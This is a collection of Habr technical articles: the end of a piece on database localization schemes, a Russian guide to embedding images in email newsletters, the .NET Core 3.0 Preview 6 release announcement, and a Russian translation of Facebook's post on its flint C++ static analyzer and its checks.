В данном подходе для каждой таблицы, требующей локализации, создаём таблицы с переводами.
**Плюсы:**
* Нет необходимости объединять таблицы для непереведенных данных.
* Запросы становятся легкими, поскольку есть отдельные таблицы для перевода.
* Нет расхождений в данных.
* Помимо переводов, есть возможность эффективно локализовать остальные данные в языковой таблице.
**Недостаток:**
* В больших приложениях таблица translation раздувается и замедляет работу. При оптимизации приложения необходимо будет реализовать миграции данных по отдельным таблицам.
Запрос на получение данных будет следующим:
```
SELECT tp.text,
p.price,
tc.text,
c.contact_name
FROM order_line o, product p, customer c, translation tp,
translation tc, language l
WHERE o.product_id = p.id
AND o.customer_id = c.id
AND p.name_translation_id = tp.id
AND c.name_translation_id = tc.id
AND tp.language_id = l.id
AND tc.language_id = l.id
AND l.name = @language_code
AND o.id = ***;
```
#### 3) Создание сущностей для переводимых и непереводимых полей
В этом решении таблицы сущностей, которые содержат одно или несколько переведенных полей, расширяют данные с непереведенными.
**Плюсы:**
* Нет необходимости объединять таблицы перевода с таблицами, в которых содержатся данные, не требующие перевода. Поэтому выборка таких данных будет иметь лучшую производительность,
* Легко писать запросы на ORM,
* Простой SQL-запрос для получения переведенного текста,
* Просто поддерживать перевод определенных данных на все доступные языки.
**Недостаток:**
* Относительная сложность реализации.
Вот пример запроса, который будет извлекать переведенный текст:
```
SELECT pt.product_name, pt.description, p.price
FROM order_line o, product p, product_translation pt, language l
WHERE o.product_id = p.id AND
AND p.id = pt.product_non_trans_id
AND pt.language_id = l.id
AND l.name = @language_code;
```
Выводы
------
При локализации и интернационализации приложений для международного рынка можно использовать различные методы, каждый из которых имеет определенные особенности и ограничения.
В этой статье мы рассмотрели следующие виды интернационализации:
* **в коде:** используем переводы при создании сервиса или приложения с gui;
* **в шаблонах:** используем при разработке web-приложения без динамического фронтэнда;
* **в базе данных:** используем при хранении либо пользовательских, либо динамически генерируемых данных.
Надеемся, что наша статья поможет вам выбрать наиболее подходящий метод для вашего проекта. | https://habr.com/ru/post/479738/ | null | ru | null |
# Верстка e-mail рассылок — «подводные камни». Часть первая. Картинки
Добрый день, уважаемые хабравчане!
Не так давно мы вплотную столкнулись с задачей верстки e-mail рассылок. Это не самое приятное занятие, но многие компании активно используют корпоративные рассылки, и верстка становится всё более актуальной задачей.
Казалось бы, что сложного — сверстать простую страничку? Но есть «подводные камни», которые могут поставить в тупик даже опытного верстальщика. Именно таким «камням» и посвящен пост (оговоримся сразу — все эксперименты, описанные в посте, проводились под Windows с тем ПО, которое есть у многих под рукой).
#### Первый камень — Изображения
Практически каждая рассылка содержит картинки. Логотип, шапка, фотографии, иконки соц.сетей…
Есть 2 способа использования картинок:
##### 1. Подгрузка с сервера
**Плюсы:**
* Небольшой вес письма;
* Все почтовые программы «понимают» такое использование картинок и в состоянии подгружать их из указанного места.
**Минусы:**
* В крупных бюрократических компаниях зачастую нет возможности оперативно выделить место на сервере для выкладки картинок, а размещение картинок на стороннем сервере для таких компаний неприемлемо. В этом случае подгрузка картинок с сервера в принципе невозможна.
* Политики клиентов могут запрещать подгрузку графики. Например, в почтовых программах Windows Live Mail, Outlook Express, Outlook 2007 подгрузка картинок по умолчанию не осуществляется. Картинки подгружаются только если пользователь вручную разрешит выполнить это действие, либо если он (опять же вручную) настроит программу на автоматическую подгрузку изображений. В других почтовых программах блокировка подгрузки графики может быть настроена у пользователя вручную намеренно.
> Блокировка графики, во-первых, приводит к тому, что пользователю приходится выполнять лишние действия для просмотра картинок, во-вторых, если картинки не были подгружены сразу, то в офлайне при просмотре письма не будет возможности просмотреть картинки.
##### 2. Прикрепление картинок непосредственно к письму
Первое, о чем стоит сказать — как именно добиться прикрепления картинок к письму. При просмотре html-кода писем с прикрепленными картинками, можно увидеть, что пути всех внедренных картинок задаются через специальный идентификатор cid.
> Стандарт MIME, описывающий передачу данных посредством электронной почты, определяет в частности механизм передачи нетекстового контента (такого, как картинки). «[MIME определяет набор e-mail-заголовков для определения дополнительных атрибутов сообщения](http://ru.wikipedia.org/wiki/MIME)». Одним из таких заголовоков является «Content-ID». Content-ID — это уникальный идентификатор части сообщения. Значение идентификатора указывается в угловых скобках после заголовка:
>
> Content-ID: <1.23.44455.9874563210@test.example>
>
> Основное условие формирования Content-ID — это уникальность, одна из конвенций, которая была принята относительно формирования Content-ID — использование символа «@» и указание имени хоста компьютера справа от него, слева же от знака должен стоять идентификатор уникальный для данного компьютера.
При использовании картинок в теле писем (тэг img) в ссылке на картинку (параметр «src») указывается нужный идентификатор с использованием URI-схемы «cid», синтаксис идентификатора отличается от Content-ID отсутствием угловых скобок:
`cid: 1.23.44455.9874563210@test.example`
Помимо заголовков, стандарт MIME определяет схему преобразования данных для передачи посредством e-mail — это схема base64. Любое изображение, которое передается в теле письма, сначала преобразуется в формат base64.
**Таким образом для того, чтобы вручную сформировать письмо с прикрепленными картинками, нужно переконвертировать картинки в base64, прописать заголовки Content-ID, и для всех изображений в параметре «src» прописать URI-схему с нужным идентификатором.**
Согласитесь, вручную это сделать не так уж просто и займет приличное количество времени. Однако, необходимости делать это вручную нет. Почтовые программы, которые позволяют использовать html-шаблоны писем для рассылки, сами автоматически преобразуют картинки, проставляют заголовки и идентификаторы, преобразуют абсолютные пути к картинкам в uri-схемы cid.
Остается только определить, в каких почтовых программах можно использовать html-файлы в качестве шаблонов сообщений.
В **Outlook Express** такая возможность есть и описана во многих источниках («Сообщение — Создать с использованием — Выбор бланка...» ). А вот в более современном аналоге — **Windows Live Mail** специальной опции нет, как нет её и в **Outlook 2007**. Однако здравый смысл подсказал, что возможность где-то быть должна, и она обнаружилась. Чтобы использовать html-шаблоны в этих программах нужно из папки, в которой располагается сверстанное письмо, **перетащить мышкой html-файл письма на папку «Входящие» в программе** — письмо автоматически сформируется по шаблону. При этом, если в письме используются картинки, которые лежат где-то на компьютере, и к ним прописаны **абсолютные пути** — картинки автоматически приаттачиваются к письму, а пути автоматически меняются на идентификаторы ресурса «cid» ":" content-id.
> Важный момент — должны быть прописаны именно абсолютные пути. Пример: картинка header.jpg лежит в y:\temp\рассылка\ вместе с html-файлом письма. Если к картинке прописан путь
>
> src=«y:\temp\рассылка\header.jpg» или
>
> src=«file:///Y:/temp/рассылка/header.jpg» — картинка подгрузится. Если прописать просто
>
> src=«header.jpg» — увы, ничего не выйдет.
**Общие плюсы:**
Картинки отображаются во всех почтовых программах. Даже если в настройках программы отключена автоматическая подгрузка графики, «внедренные» картинки будут отображаться (подгружать их не надо);
Не требуется оперативно искать место для размещения картинок (как говорилось выше, для крупных бюрократических компаний такой поиск может быть весьма проблематичным).
**Общий минус:**
Письмо будет весить больше — каждому адресату придет письмо с полным набором картинок.
#### Сравнение программ Windows Live Mail, Outlook Express, Outlook 2007 с точки зрения использования HTML-шаблонов
##### Оригинальный макет
###### Windows Live Mail
**Минусы:**
* Все картинки, которые используются в рассылке, будут прикреплены к письму в качестве аттачей, и это важный момент: даже если 100 раз используется одна и та же картинка (spacer, например) — к письму приаттачатся 100 одинаковых картинок (!!!);
* При использовании gif-ов с прозрачностью, в некоторых почтовых программах могут возникнуть проблемы с отображением. Например, в программе TheBat! вместо прозрачности проявится черный цвет;
* Картинкам в jpg добавятся «тени» — то есть фактически картинки портятся. В TheBat! испорченные картинки отображаются с сильными искажениями.
###### Outlook Express
**Плюсы:**
* К письму не будут прикрепляться дубли картинок — даже если картинка используется 100 раз, к письму будет прикреплена всего одна картинка.
* Jpg передаются нормально, без искажений.
**Минусы:**
* При использовании прозрачных gif-ов, вместо прозрачности в TheBat! будет черный фон.
###### Outlook 2007
**Плюсы:**
* Jpg передаются без искажений;
* Абсолютно одинаковые картинки не будут прикрепляться дублями к письму, прикрепится одна картинка;
* Если используется прозрачный файл gif для «заполнения» отдельных ячеек, Outlook 2007 анализирует это, конвертирует gif в png и прикрепляет к письму столько файлов png, сколько областей разного размера было «заполнено» gif-ом.
> Действие механизма на примере:
>
> В рассылке используется файл spacer.gif размером 1х1, прозрачный. Этот файл используется для заполнения нескольких областей: 2-ух ячеек 800х10, и 3-х ячеек 120х10. В результате к письму прикрепляются 2 файла png: один 800х10, другой 120х10. Также в рассылке используется 2 раза файл top\_g.gif, который непрозрачен — он прикрепляется к письму один раз, в png не конвертируется.
**Минусы:**
* Outlook 2007 платный — лицензию можно либо приобрести отдельно, либо в пакете MS Office 2007 (отсутствует только в версии «Home And Student»).
#### Резюме:
В поисках истины были прочитаны разные полезные статьи (отдельное спасибо [Aralot](https://habrahabr.ru/users/aralot/) за статью [10 рекомендаций по html-верстке электронных писем](http://habrahabr.ru/blogs/webdev/60420/) и [dudeonthehorse](https://habrahabr.ru/users/dudeonthehorse/) за статью [Верстка почтовых рассылок: разбор полетов](http://habrahabr.ru/blogs/css/114234/) и 3 предшествующих).
Какой из двух способов использования картинок в e-mail рассылках использовать — вопрос индивидуальный, свои плюсы и минусы есть и у того, и у другого. Так что дать однозначный совет здесь нельзя — всё зависит от ситуации. | https://habr.com/ru/post/114472/ | null | ru | null |
# Announcing .NET Core 3.0 Preview 6
Today, we are announcing [.NET Core 3.0 Preview 6](https://dotnet.microsoft.com/download/dotnet-core/3.0). It includes updates for compiling assemblies for improved startup, optimizing applications for size with linker and EventPipe improvements. We’ve also released new Docker images for Alpine on ARM64.
* [Download .NET Core 3.0 Preview 6](https://dotnet.microsoft.com/download/dotnet-core/3.0) right now on Windows, macOS and Linux.
* [Release notes](https://github.com/dotnet/core/blob/master/release-notes/3.0/preview/3.0.0-preview6.md) have been published at [dotnet/core](https://github.com/dotnet/core). An [API diff between Preview 5 and 6](https://github.com/dotnet/core/blob/master/release-notes/3.0/preview/api-diff/preview6/3.0-preview6.md) is also available.
* [ASP.NET Core](https://devblogs.microsoft.com/aspnet/asp-net-core-and-blazor-updates-in-net-core-3-0-preview-6/) and EF Core are also releasing updates today.
* If you missed it, check out the improvements we released in [.NET Core 3.0 Preview 5](https://devblogs.microsoft.com/dotnet/announcing-net-core-3-0-preview-5/), from last month.
WPF and Windows Forms update
----------------------------
The WPF team has now completed [publishing most of the WPF codebase to GitHub](https://github.com/dotnet/wpf/issues/738). In fact, they just [published source for fifteen assemblies](https://github.com/dotnet/wpf/pull/720). For anyone familiar with WPF, the assembly names should be very familiar.
In some cases, tests are still on the backlog to get published at or before 3.0 GA. That said, the presence of all of this code should enable the WPF community to fully participate in making changes across WPF. It is obvious from reading some of the GitHub issues that the community has its own backlog that it has been waiting to realize. Dark theme, maybe?
Alpine Docker images
--------------------
Docker images are now available for both .NET Core and ASP.NET Core on ARM64. They were previously only available for x64.
The following images can be used in a `Dockerfile`, or with `docker pull`, as demonstrated below:
* `docker pull mcr.microsoft.com/dotnet/core/runtime:3.0-alpine-arm64v8`
* `docker pull mcr.microsoft.com/dotnet/core/aspnet:3.0-alpine-arm64v8`
Event Pipe improvements
-----------------------
Event Pipe now supports multiple sessions. This means that you can consume events with EventListener in-proc and simultaneously have out-of-process event pipe clients.
New Perf Counters added:
* % Time in GC
* Gen 0 Heap Size
* Gen 1 Heap Size
* Gen 2 Heap Size
* LOH Heap Size
* Allocation Rate
* Number of assemblies loaded
* Number of ThreadPool Threads
* Monitor Lock Contention Rate
* ThreadPool Work Items Queue
* ThreadPool Completed Work Items Rate
Profiler attach is now implemented using the same Event Pipe infrastructure.
See [Playing with counters](https://twitter.com/davidfowl/status/1135355693634949121) from David Fowler to get an idea of what you can do with event pipe to perform your own performance investigations or just monitor application status.
See [dotnet-counters](https://github.com/dotnet/diagnostics/blob/master/documentation/dotnet-counters-instructions.md) to install the dotnet-counters tool.
Optimize your .NET Core apps with ReadyToRun images
---------------------------------------------------
You can improve the startup time of your .NET Core application by compiling your application assemblies as ReadyToRun (R2R) format. R2R is a form of ahead-of-time (AOT) compilation.
R2R binaries improve startup performance by reducing the amount of work the JIT needs to do as your application is loading. The binaries contain similar native code as what the JIT would produce, giving the JIT a bit of a vacation when performance matters most (at startup). R2R binaries are larger because they contain both intermediate language (IL) code, which is still needed for some scenarios, and the native version of the same code, to improve startup.
R2R is supported with .NET Core 3.0. It cannot be used with earlier versions of .NET Core.
### Sample performance numbers
The following are performance numbers collected using a [sample WPF application](https://github.com/ridomin/msix-catalog). The application was published as self-contained and did not use the assembly linker (covered later this post).
IL-only Application:
* Startup time: 1.9 seconds
* Memory usage: 69.1 MB
* Application size: 150 MB
With ReadyToRun images:
* Startup time: 1.3 seconds.
* Memory usage: 55.7 MB
* Application size: 156 MB
ReadyToRun images, explained
----------------------------
You can R2R compile both libraries and application binaries. At present, libraries can only be R2R compiled as part of an application, not for delivery as a NuGet package. We’d like more feedback on whether that scenario is important.
AOT compiling assemblies has been available as a concept with .NET for a long time, going back to the [.NET Framework and NGEN](https://docs.microsoft.com/dotnet/framework/tools/ngen-exe-native-image-generator). NGEN has a key drawback, which is that compilation must be done on client machines, using the NGEN tool. It isn’t possible to generate NGEN images as part of your application build.
Enter .NET Core. It comes with [crossgen](https://github.com/dotnet/coreclr/blob/master/Documentation/building/crossgen.md), which produces native images in a newer format called [ReadyToRun](https://github.com/dotnet/coreclr/blob/master/Documentation/botr/readytorun-overview.md). The name describes its primary value proposition, which is that these native images can be built as part of your build and are “ready to run” without any additional work on client machines. That’s a major improvement, and also an important win for climate change.
In terms of compatibility, ReadyToRun images are similar to IL assemblies, with some key differences.
* IL assemblies contain just [IL code](https://en.wikipedia.org/wiki/Common_Intermediate_Language). They can run on any runtime that supports the given target framework for that assembly. For example a `netstandard2.0` assembly can run on .NET Framework 4.6+ and .NET Core 2.0+, on any supported operating system (Windows, macOS, Linux) and architecture (Intel, ARM, 32-bit, 64-bit).
* R2R assemblies contain IL and native code. They are compiled for a specific minimum .NET Core runtime version and runtime environment (RID). For example, a `netstandard2.0` assembly might be R2R compiled for .NET Core 3.0 and Linux x64. It will only be usable in that or a compatible configuration (like .NET Core 3.1 or .NET Core 5.0, on Linux x64), because it contains native code that is only usable in that runtime environment.
### Instructions
The ReadyToRun compilation is a publish-only, opt-in feature. We’ve released a preview version of it with .NET Core 3.0 Preview 5.
To enable the ReadyToRun compilation, you have to:
* Set the `PublishReadyToRun` property to `true`.
* Publish using an explicit `RuntimeIdentifier`.
Note: When the application assemblies get compiled, the native code produced is platform and architecture specific (which is why you have to specify a valid RuntimeIdentifier when publishing).
Here’s an example:
```
Exe
netcoreapp3.0
true
```
And publish using the following command:
```
dotnet publish -r win-x64 -c Release
```
Note: The `RuntimeIdentifier` can also be set in the project file.
Note: ReadyToRun is currently only supported for [self-contained apps](https://docs.microsoft.com/dotnet/core/deploying/). It will be enabled for [framework-dependent apps](https://docs.microsoft.com/dotnet/core/deploying/) in a later preview.
Native symbol generation can be enabled by setting the `PublishReadyToRunEmitSymbols` property to `true` in your project. You do not need to generate native symbols for debugging purposes. These symbols are only useful for profiling purposes.
The SDK currently supports a way to exclude certain assemblies from being compiled into ReadyToRun images. This could be useful for cases when certain assemblies do not really need to be optimized for performance. This can help reduce the size of the application. It could also be a useful workaround for cases where the ReadyToRun compiler fails to compile a certain assembly. Exclusion is done using the PublishReadyToRunExclude item group. Example:
```
```
Cross platform/architecture compilations
----------------------------------------
The ReadyToRun compiler doesn’t currently support cross-targeting. You need to compile on a given target. For example, if you want R2R images for Windows x64, you need to run the publish command on that environment.
Exceptions to this:
* Windows x64 can be used to compiles Windows ARM32, ARM64, and x86 images.
* Windows x86 can be used to compile Windows ARM32 images.
* Linux x64 can be used to compile Linux ARM32 and ARM64 images.
Assembly linking
----------------
The .NET core 3.0 SDK comes with a tool that can reduce the size of apps by analyzing IL and trimming unused assemblies.
With .NET Core, it has always been possible to publish self-contained apps that include everything needed to run your code, without requiring .NET to be installed on the deployment target. In some cases, the app only requires a small subset of the framework to function and could potentially be made much smaller by including only the used libraries.
We use the [IL linker](https://github.com/mono/linker) to scan the IL of your application to detect which code is actually required, and then trim unused framework libraries. This can significantly reduce the size of some apps. Typically, small tool-like console apps benefit the most as they tend to use fairly small subsets of the framework and are usually more amenable to trimming.
To use this tool, set `PublishTrimmed=true` in your project and publish a self-contained app:
```
dotnet publish -r -c Release
```
The publish output will include a subset of the framework libraries, depending on what the application code calls. For a helloworld app, the linker reduces the size from ~68MB to ~28MB.
Applications or frameworks (including ASP.NET Core and WPF) that use reflection or related dynamic features will often break when trimmed, because the linker doesn’t know about this dynamic behavior and usually can’t determine which framework types will be required for reflection at run time. To trim such apps, you need to tell the linker about any types needed by reflection in your code, and in any packages or frameworks that you depend on. Be sure to test your apps after trimming.
For more information about the IL Linker, see the [documentation](https://aka.ms/dotnet-illink), or visit the [mono/linker](https://github.com/mono/linker) repo.
Note: In previous versions of .NET Core, [ILLink.Tasks](https://dotnet.myget.org/feed/dotnet-core/package/nuget/Illink.Tasks) was shipped as an external NuGet package and provided much of the same functionality. It is no longer supported – please update to the latest 3.0 SDK and try the new experience!
Using the Linker and ReadToRun Together
---------------------------------------
The linker and ReadyToRun compiler can be used for the same application. In general, the linker makes your application smaller, and then the ready-to-run compiler will make it a bit larger again, but with a significant performance win. It is worth testing in various configurations to understand the impact of each option.
Note: [dotnet/sdk #3257](https://github.com/dotnet/sdk/issues/3257) prevents the linker and ReadyToRun from being used together for WPF and Windows Forms applications. We are working on fixing that as part of the .NET Core 3.0 release.
Native Hosting sample
---------------------
The team recently posted a [Native Hosting sample](https://github.com/dotnet/samples/tree/master/core/hosting/HostWithHostFxr). It demonstrates a best practice approach for hosting .NET Core in a native application.
As part of .NET Core 3.0, we now expose general functionality to .NET Core native hosts that was previously only available to .NET Core managed applications through the officially provided .NET Core hosts. The functionality is primarily related to assembly loading. This functionality should make it easier to produce native hosts that can take advantage of the full feature set of .NET Core.
HTTP/2 support in HttpClient
----------------------------
HTTP/2 is a major revision of the HTTP protocol. Some of the notable features of HTTP/2 are support for header compression and fully multiplexed streams over the same connection. While HTTP/2 preserves HTTP’s semantics (HTTP headers, methods, etc) it is a change from HTTP/1.x in how data is framed and sent over the wire.
`HttpClient` now add supports for making HTTP/2 requests. While the default remains HTTP/1.1, you can opt in to using HTTP/2 by setting the version on your HTTP request message.
```
var client = new HttpClient() { BaseAddress = new Uri("https://localhost:5001") };
// HTTP/1.1 request
using (var response = await client.GetAsync("/"))
{
Console.WriteLine(response.Content);
}
// HTTP/2 request
using (var request = new HttpRequestMessage(HttpMethod.Get, "/") { Version = new Version(2, 0) })
using (var response = await client.SendAsync(request))
{
Console.WriteLine(response.Content);
}
```
Alternatively, you can default to sending HTTP/2 requests by setting the `DefaultRequestVersion`property on `HttpClient`.
```
var client = new HttpClient()
{
BaseAddress = new Uri("https://localhost:5001"),
DefaultRequestVersion = new Version(2, 0)
};
// Defaults to HTTP/2
using (var response = await client.GetAsync("/"))
{
Console.WriteLine(response.Content);
}
```
As a consequence of this change in framing, servers and clients need to negotiate the protocol version used. Application-Layer Protocol Negotiation (ALPN) is a TLS extension that allows the server and client negotiate the protocol version used as part of their TLS handshake. While it is possible to have prior knowledge between the server and the client on the protocol, most servers only support ALPN as the only way to establish an HTTP/2 connection. As such, HTTP/2 is negotiated by `HttpClient` only on a TLS connection.
In development scenarios when server and client have a priori knowledge that both will speak HTTP/2 unencrypted, you may establish an HTTP/2 connection over cleartext by setting an `AppContext` switch or an environment variable (`DOTNET_SYSTEM_NET_HTTP_SOCKETSHTTPHANDLER_HTTP2UNENCRYPTEDSUPPORT=1`).
```
AppContext.SetSwitch("System.Net.Http.SocketsHttpHandler.Http2UnencryptedSupport", true);
```
Closing
-------
Please try out the new features. Please file issues for the bugs or any challenging experiences you find. We want the feedback! You can file feature requests, too, but they likely will need to wait to get implemented until the next release at this point.
We are now getting very close to being feature complete for .NET Core 3.0, and are now transitioning the focus of the team to the quality of the release. We’ve got a few months of bug fixing and performance work ahead. We’ll appreciate your feedback as we work through that process, too.
On that note, we will soon be switching the `master` branches on .NET Core repos to the next major release, likely at or shortly after the Preview 7 release (July).
Thanks for trying out .NET Core 3.0 previews. We appreciate your help. At this point, we’re focused on getting a final release in your hands.
---
[Richard Lander](https://devblogs.microsoft.com/dotnet/author/richlander-ca/)
PM, .NET Team | https://habr.com/ru/post/456224/ | null | en | null |
# Под капотом: сборка и открытие исходников flint
Программы статического анализа кода — это необычный класс программ-верификаторов, и в течение некоторого времени я не был убежден в необходимости их использования при разработке для фейсбука. Я не терплю стилистические правила на своей шее, и ложные предупреждения об ошибках могут испортить всю задачу. Впрочем, в них есть и хорошее: если проверяющий механически ищет проблемы, которые традиционно не контролируются компилятором, то это должно почти всегда улучшать качество кода, как только проблема будет исправлена.
[Флинт](https://github.com/facebook/flint), программа Фейсбука для статического анализа, выдает ошибки анализа, которые автоматически появляются в нашей системе ревью ([phabricator](http://phabricator.org/)) рядом с каждым предложенным изменением кода, уведомляя программиста, что что-то может пойти не так. Flint стал важной частью работы, которую мы делаем в Фейсбуке, и я очень рад открыть его исходники, чтобы каждый мог проверить, что же мы делаем, и попробовать это для себя.
#### Но почему бы не использовать существующие анализаторы кода?
Написание анализатора кода для С++ — задача не для слабонервных, ведь С++ весьма сложен в разборе. Но тем не менее, в настоящее время есть [целая куча анализаторов](http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis#C.2FC.2B.2B) со множеством фич, некоторые даже с открытым кодом. Так что вопрос, почему мы решили написать свой собственный, а не использовать существующие, вполне логичен.
Когда мы начинали это проект, все опробованные нами программы были слишком медленными и не поддерживали большинства нововведений С++11, которые уже использовались нами в разработке. Clang, который сегодня будет логичной отправной точкой для анализа кода на С++, предлагал слишком мало поддержки в то время. И даже сейчас он не может компилировать часть нашего кода на C++.
И самое главное, правила анализаторов кода очень сильно зависят от характера организаций, которые их используют. Мы представляли, что мы ищем, и выяснили, что какой бы анализатор мы не выбрали, нам придется долго дорабатывать его. Так что мы решил разработать собственный анализатор кода.
#### Токены, комментарии и язык D, ох!
Основываясь на принципе «простейшее решение, которое будет работать», флинт является токен-ориентированным, что противопоставляется построению дерева разбора кода. Анализатор загружает входной файл, конвертирует в массив токенов и по-разному анализирует это массив. Каждый токен сохраняет предшествующий комментарий (если он есть), так что комментирующая информация сохранятся. Некоторые из наших правил требуют использования комментариев в специальном стиле, вы увидите это ниже.
Целью такого дизайна было реализовать быстрый токенайзер, добавить пару простых правил и выпустить его на свободу от фейсбука с надеждой, что люди будут добавлять анализатору интересные правила. Решение добавить парсинг выкинули, но наши инженеры добавили около двух дюжин правил, которые мы проверим за минуту.
Флинт написан на D, и это первый опенсорсный проект на этом языке от Фейсбука. На самом деле, наша первая версия была написана на С++; перевод на D начинался как эксперимент. По результатам измерений и историй, в которых мы участвовали, перевод на D был победой по всем направлениям: версия на D оказалась значительно меньше, значительно быстрее собиралась, значительно быстрее запускалась и была более легкой для добавления изменений.
#### Перевод флинта с С++ на D
Для переезда с С++ на D я решил сделать полумеханический перевод, т.е использовать ближайший код на D c той же семантикой, что и С++ код.
При реализации на С++ я выяснил, что использование генератора лексем приносило больше проблем, чем пользы, так что я просто написал быстрый, выделенный лексер с использованием макросов. В D нет макросов, что делает перевод один в один невозможным. Но D имеет кое-что получше — полную интерпретацию в течение компиляции, которая сочетается с возможностью самоанализа, генерации и компиляции сгенерированного кода налету.
Я написал функцию на 58 строк, которая генерирует развернутое дерево совпадений. Для С++ код разворачивается в 965 строк, которые затем подаются обратно в компилятор с примесью выражений.
В таком матчинге есть как минимум один плюс — он независим от языка, который мы разбиваем на лексемы; такой подход делает возможным засунуть его в библиотеку и оставить только язык-специфичные части (такие как парсинг чисел или комментариев). При этом подходе становится легче создавать и использовать оптимальные лексеры для любого языка без необходимости использования стороннего генератора. Реализация такого решения заняла часть первого дня, после чего у меня был работающий лексер, последующие дни были потрачены на портирование анализатора и его проверку на самом себе.
После перевода цикл редактирования/сборки/тестирования flint'а стал гораздо приятнее. Сборка flint на D примерно в пять раз быстрее сборки на С++, что оказалось очень важным в итерационной разработке. Скорость запуска стала немного лучше, между 5 и 25% — в зависимости от файла, выигрыш был больше для больших файлов.
Быстрая сборка дала интересный побочный эффект для меня. Разница между обычным временем сборки в C++ и D не удивительна, но это был первый раз, когда я работал над похожими проектами параллельно, переключаясь между ними, что дало мне возможность почувствовать разницу.
С++ может производить быстрый код, но сборка С++ сопровождается целой кучей лишних телодвижений и множеством шума. Инициация сборки неизбежно сопровождается некоторой церемониальностью и пышностью («назад, парни, возможна отдача!») и в течение дня я бы аккуратно следил за сборкой, чтобы максимизировать пользу от потраченного времени. Цикл сборки проектов на D происходит обескураживающе быстро — даже как-то обидно иногда. Бойкость, с которой компилятор D проходит сквозь код, сначала удивила меня, я даже заподозрил ошибку — что мой код вообще не был скомпилирован. На самом-то деле, новый язык просто способен лучше пробегать через код на значительно больших скоростях.
#### Проверки, совершаемые флинтом
Каждая проверка соответствует настоящему названию функции в кодовой базе, так что вы можете просто найти её, чтобы увидеть, как эта проверка работает.
1. **Черный список последовательностей токенов (checkBlacklistedSequences).** Некоторые последовательности могут быть просто запрещены в организации. В Фейсбуке мы считаем «volatile» запрещенным, но не всегда: мы разрешаем последовательность «asm volatile», которая означает немного другое.
2. **Черный список идентификаторов (checkBlacklistedIdentifiers).** Некоторые идентификаторы могут быть запрещены в организации. В фейсбуке мы исключаем печально известную функцию языка C — strtok. Для нее есть безопасные альтернативы, так что нет ни одной причины для использования strtok.
3. **Резервированные идентификаторы (checkDefinedNames).** И в С, и в С++ есть часто забываемое правило именования, согласно которому все идентификаторы, начинающиеся с подчеркивания и последующей заглавной буквы, а также все идентификаторы, содержащиеся два последовательных подчеркивания, зарезервированы для служебных нужд. (Конечно в нашем коде есть исключения от этого правила, такие как \_GNU\_SOURCE или \_XOPEN\_SOURCE, поэтому флинт использует и whitelist при проверке зарезервированных идентификаторов).
4. **Идиома включения гардов (checkIncludeGuard).** Большинство заголовочных файлов должно быть защищено явным образом (путем использования директивы #pragma once или #ifndef макроса), так что мы добавили правило для проверки этой защиты.
5. **Порядок аргументов в memset (checkMemset).** Многие из нас иногда писали memset(&foo, sizeof(foo), 0); и рассказывали об этом жуткие истории, пугая племянниц на Хэллоуин. Соответствующее диагностическое правило флинта позволит легко избежать этой пагубной ошибки.
6. **Сомнительные инклуды (#include) — checkQuestionableIncludes.** Многие организации используют несколько библиотек, которые хранятся только для обеспечения обратной совместимости и никогда не используются в новом коде. Значит, такие хедеры не должны включаться — хорошая работенка для анализатора. Одной из проблем, которую мы нашли в Фейсбуке, было то, что некоторые хедеры после препроцессора становились слишком большими, чтобы их можно было включить в другие — это приводило к слишком большому времени компиляции. Нам пришлось научить флинт решать и эту задачу.
7. **Выделение "...-inl.h" файлов (checkInlHeaderInclusions).** Популярным способом организации встраиваемого и тяжелого шаблонного кода является соответствующее разделение инлайновых и шаблонных артифактов — например, «Widget.h» превращается в «Widget-inl.h». Последний файл не должен быть включен где-то, кроме «Widget.h», и специальное правило следит за этим.
8. **Инициализация переменной самой себя (checkInitializeFromItself).** Мы выяснили, что люди пишут конструкторы в стиле
```
class X {
..
int a_;
X(const X& rhs) : a_(a_) {}
X(int a) : a_(a_) {}
};
```
В этом примере необходимо использовать a\_(rhs.a\_) в первом конструкторе и a\_(a) во втором. В другом написании почти никогда не бывает смысла, а компилятор помалкивает на таком коде. Мы любим говорить: «Для этого есть правило флинта», когда решаем проблему.
9. **Предпочтительнее использовать ``shared_ptr p(make_shared(args)) вместо shared_ptr p(new T) (checkSmartPtrUsage).` Первая версия делает только одно выделение памяти вместо двух.
**Включение опенсорсного кода (checkOSSIncludes).** Facebook использует свои внутренние разработки в разных проектах, но есть один вид зависимостей, которые мы никогда не используем: зависимости от проектов с открытым исходным кодом. Folly, например, не может зависеть от какой-либо частной библиотеки. Правило анализатора сохраняет проект в порядке и делает процесс открытия исходников легким и безопасным. Я уже говорил, что мы любим опенсорс?
**Размещение статических данных уровня пространства имен в хедерах (checkNamespaceScopedStatics).** Отметить данные уровня нэймспейса как статические внутри заголовочного файла - всегда плохая идея. Маркировка данных таким образом потенциально создает один экземпляр статических данных внутри каждой единицы компиляции, включая сам хедер. Исправление такой ошибки привело к снижению размера и увеличению скорости работы исполняемых файлов.
**"Widget.cpp" должен включать "Widget.h" раньше чего-либо еще (checkIncludeAssociatedHeader).** Это хорошее правило кодирования, потому что предотвращает возможные ошибки в определении "Widget.h" - мы можем забыть, что "Widget.h" должен включать какие-то дополнительные файлы.
**Все исключения должны перехватываться по ссылке (checkCatchByReference).** 'Nuff said.
**Ликвидация распространенных ошибок в определении конструктора.** Люди часто забывают указать конструктор с одним аргументом как explicit, но флинт напомнит автору об этой проблеме. При этом автор может отказаться от таких напоминания, добавив стилизованный комментарий /* implicit */. Флинт также сигнализирует о копирующих конструкторах не по константной ссылке и бесполезных конструкторах перемещения, как в примере ниже:
```
class C {
...
// Плохие паттерны, флинт выдаст диагностическое сообщение
C(int a)
C(const C&&);
// Хорошие паттерны, флинт такие любит
explicit C(int a);
/* implicit */ C(char* a);
C(int a, double b);
};
```
**Throw спецификации (checkThrowSpecification).** Throw спецификации устарели и должны удаляться из кода. Флинт позволяет сделать еще одно улучшение: классы, наследующиеся от std::exception, должны добавлять throw() в деструкторе и реализовывать метод what().
**Проверка против бросания исключения у указателей, инициализированных с помощью new (checkThrowsHeapException).** Это предотвращает антипаттерн throw new T.
**Конфликтующие директивы using namespace (checkUsingNamespaceDirectives).** Некоторые пространства имен используют одинаковые идентификаторы - например, boost и STL: оба они определяют shared_ptr. Мы испытали проблему несовместимости, так что мы добавили правило анализатора, которое предотвращает использование конфликтующих пространств имен одновременно.
**Пространства имен в заголовочных файлах (checkUsingDirectives).** "using namespace" никогда не должно встречаться внутри хедера. Но это может происходить внутри inline-функции в заголовочном файле. Фейсбук считает, что пространство имен "facebook" может быть введено только на верхнем уровне. Вам надо заменить название нэймспейса на какое-нибудь свое.
